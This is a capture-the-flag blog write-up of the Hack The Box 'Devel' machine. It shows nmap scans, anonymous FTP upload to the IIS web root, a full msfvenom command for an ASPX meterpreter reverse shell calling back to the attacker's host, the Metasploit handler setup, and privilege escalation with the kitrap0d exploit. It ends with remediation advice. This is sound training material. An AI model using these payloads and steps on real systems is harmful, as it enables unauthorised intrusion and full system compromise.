Hack The Box — Devel Writeup w/ Metasploit

In my previous blog, I solved the Devel machine without using Metasploit. Although the Metasploit framework is not allowed in the OSCP, it is still good experience to know how to use it. Therefore, this blog will cover the same machine but using the Metasploit framework.

Let’s get started!

Reconnaissance

First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.

nmap -sC -sV -O -oA nmap/initial 10.10.10.5

• -sC: run default nmap scripts
• -sV: detect service version
• -O: detect OS
• -oA: output all formats and store in file nmap/initial

We get back the following result showing that port 80 is open with Microsoft IIS web server running on it and port 21 is open with FTP running on it.

Before we start investigating the open ports, let’s run more comprehensive nmap scans in the background to make sure we cover all bases.

Let’s run an nmap scan that covers all ports.

nmap -sC -sV -O -p- -oA nmap/full 10.10.10.5

We get back the same results as above.

Similarly, we run an nmap scan with the -sU flag enabled to run a UDP scan.

nmap -sU -O -oA nmap/udp 10.10.10.5

We get back the following result. As can be seen, the top 1000 ports are closed.

Our only avenue of attack is port 80 & port 21. The nmap scan did show that FTP allowed anonymous logins and so we’ll start there.

Enumeration

Anonymous File Transfer Protocol (FTP) allow anyone to log into the FTP server with the username “anonymous” and any password to access the files on the server.

Since anonymous login is supported, let’s log into the ftp server using the “anonymous” username and any password.

Okay, we’re in! Let’s view the files in current directory.

Try navigating to these files in the browser.

The FTP server seems to be in the same root as the HTTP server. Why is that interesting? Well, if I upload a reverse shell in the FTP server, I might be able to run it through the web server.

To test out our theory, we’ll create a test.html file that displays the word “hello”.

Upload the file on the ftp server.

List the files in the directory to confirm that the file has been uploaded.

In the web browser, check if the test.html file is rendered in the web server.

Alright! This confirms that if we upload a file in the ftp server, and call it in the browser it will get executed by the web server. Our nmap scan showed that the web server is Microsoft IIS version 7.5. IIS web server generally either executes ASP or ASPX (ASP.NET). Since the version is 7.5, further googling tells us that it likely supports ASPX.

Gaining a Foothold

Let’s use MSFvenom to generate our reverse shell. MSFvenom is a framework that is largely used for payload generation. To display the format of payloads it supports, run the following command.

msfvenom --list formats

The output shows that aspx is one of the options. Similarly, you can check the payload options with the following command. Since the machine we’re working with is Windows, we filter out the results to only show us Windows payloads.

msfvenom --list payloads | grep windows

We don’t have any restrictions on what to use in this blog, so we’ll go with a meterpreter reverse shell. If you don’t know what meterpreter is, it’s Metasploit’s version of a shell on steroids. It contains modules that can do pretty much anything that you can dream of (a bit of an exaggeration, but you get my point)!

Run the following MSFvenom command to generate the aspx payload.

msfvenom -p windows/meterpreter/reverse_tcp -f aspx LHOST=10.10.14.30 LPORT=4444 -o reverse-shell.aspx

• -p: payload
• -f: format
• LHOST: attack machine’s (kali) IP address
• LPORT: the port you want to send the reverse shell across
• -o: where to save the payload

Then, we’ll upload the generated payload on the FTP server and confirm that it has been uploaded.

Start up Metasploit ( a penetration testing framework) with the following command.

msfconsole

We will use the exploit/multi/handler module to receives the Windows exploit we created.

use exploit/multi/handler

You can also use the show options command to display which settings are available or required for the set module.

show options

Now we have to tell the exploit/multi/handler module which payload to expect by configuring it to have the same settings as the executable we generated.

set payload windows/meterpreter/reverse_tcpset lhost 10.10.14.30set lport 4444

Run the show options command again to make sure everything was set correctly.

Everything looks good, so we’ll run the multi/handler using the following command.

exploit

Now it’s listening and waiting for the exploit to run on the target (Devel) machine.

In the web browser load the reverse-shell.aspx file we uploaded in the FTP server. This should execute the code and send a reverse shell to our multi/handler.

Go back to Metasploit to see if the payload executed and connected back to the multi/handler.

A session has been opened! Run the usual commands to find more information about the target system.

getuid
sysinfo
show_mount

• getuid: displays the user that the Meterpreter server is running as on the host.
• sysinfo: displays information about the target machine such as the computer name, OS, architecture, etc.
• show_mount: displays the shares connected to the target.

Use the shell command to access the command prompt of the target host.

Change the directory to the Users directory where the flags are stored.

Try to access the babis and Administrator user directories.

We don’t have permission, so let’s get out of the target command prompt (Ctrl + C) and run the following command in meterpreter to see if there is any way to get administrator privileges.

getsystem

That didn’t work, so we’ll have to find a vulnerability that allows us to escalate privileges to system.

Privilege Escalation

Let’s background the session in Metasploit to manually try some exploits.

background

Use the Metasploit Local Exploit Suggester module to check the system for any local vulnerabilities.

It found a bunch of vulnerabilities that the system could be potentially vulnerable to. Let’s try out the ms10_015_kitrap0d exploit.

A session is opened and it’s running as system!

We’re almost there! All we need to do right now is get the user and root flags.

Use the shell command to access the command prompt of the target host. Then navigate to the user (babis) directory and output the flag.

Do the same thing for the Administrator directory.

Lessons Learned

There were essentially two vulnerabilities that allowed us to gain system level access to the machine.

The first vulnerability was insecure configuration of the FTP server that allowed us to gain an initial foothold. Our initial way in was through the anonymous login. Then we found out that the FTP server shared the root directory of the web server. Therefore, when we uploaded a reverse shell in the FTP server, we were able to run it using the browser. This gave us a low privileged shell on the machine.

The user should have done two things to avoid this vulnerability:

1. Disabled anonymous access to the FTP server.
2. If anonymous access was necessary, the user should have configured the FTP server to only allow downloads. This way the attacker would not have been able to upload files.

The second vulnerability was a Windows kernel vulnerability that allowed us to elevate privileges. The user should have updated and patched his system when the vulnerability was publicly disclosed and a security update was made available.

Conclusion

Metasploit is a powerful framework that can be very useful. However, the OSCP certification allows limited use of it so I won’t be publishing many blogs that rely on using the framework.